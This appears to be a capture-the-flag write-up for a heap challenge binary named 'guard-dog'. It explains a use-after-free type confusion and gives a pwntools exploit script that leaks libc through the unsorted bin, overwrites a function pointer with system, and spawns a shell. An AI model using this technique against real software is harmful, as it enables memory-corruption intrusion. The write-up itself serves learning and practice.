Vulnerability
Dogs and notes are different types allocated from the same heap. release
frees a dog without clearing dogs[i], and the note functions have the same bug.
The object
adopt allocates 0x20 bytes: a 24-byte name at offset 0, and a function
pointer at offset 0x18 initialised to woof.
pvVar3 = malloc(0x20);
*(code **)((long)pvVar3 + 0x18) = woof;
read_n(pvVar3, 0x18); // name
*(undefined1 *)((long)pvVar3 + 0x17) = 0;
command calls through that pointer with the object itself as the first
argument. That’s exactly what you want for system("/bin/sh"), because the
string and the pointer sit in the same chunk:
(**(code **)(lVar1 + 0x18))(lVar1);
Exploit
0. Setup
pwntools again: ELF for the libc symbols, args for the local/remote switch,
and a wrapper per menu verb. release, note, read_note and shred follow
the same pattern as adopt.
from pwn import *
exe = './guard-dog'
context.binary = ELF(exe, checksec=False)
libc = ELF('./libc-2.31.so', checksec=False)
io = remote(args.HOST, int(args.PORT)) if args.REMOTE else process(exe)
def menu(c):
io.recvuntil(b'> '); io.sendline(str(c).encode())
def adopt(k, name):
menu(1); io.recvuntil(b'): '); io.sendline(str(k).encode())
io.recvuntil(b'name: '); io.send(name.ljust(0x18, b'\x00'))
1. libc leak
Same unsorted-bin trick as in Hells Bells. A 0x500 note is too big for tcache,
so freeing it leaves main_arena+0x60 in its fd, and I read that back through
the dangling note slot. A 0x80 note keeps it from merging into the top chunk.
note(0, 0x500, b'A'); note(1, 0x80, b'B')
shred(0)
libc.address = u64(read_note(0, 8)) - 0x1ecbe0
2. Type confusion
A freed dog chunk goes into tcache bin 0x30. Asking for a 0x20 note gets you
that same chunk back, and the note write covers all 0x20 bytes, including the
function pointer that the note type knows nothing about.
adopt(0, b'rex') # dogs[0] = chunk, +0x18 = woof
release(0) # freed, dogs[0] still set
note(2, 0x20, b'/bin/sh\x00'.ljust(0x18, b'\x00') + p64(libc.sym.system))
3. Trigger
command(0) # (*(chunk+0x18))(chunk) -> system("/bin/sh")
Notes
This needs no tcache fd corruption, so safe-linking wouldn’t have stopped it.
The problem is just two struct types landing in the same size class.
Solver: exploit.py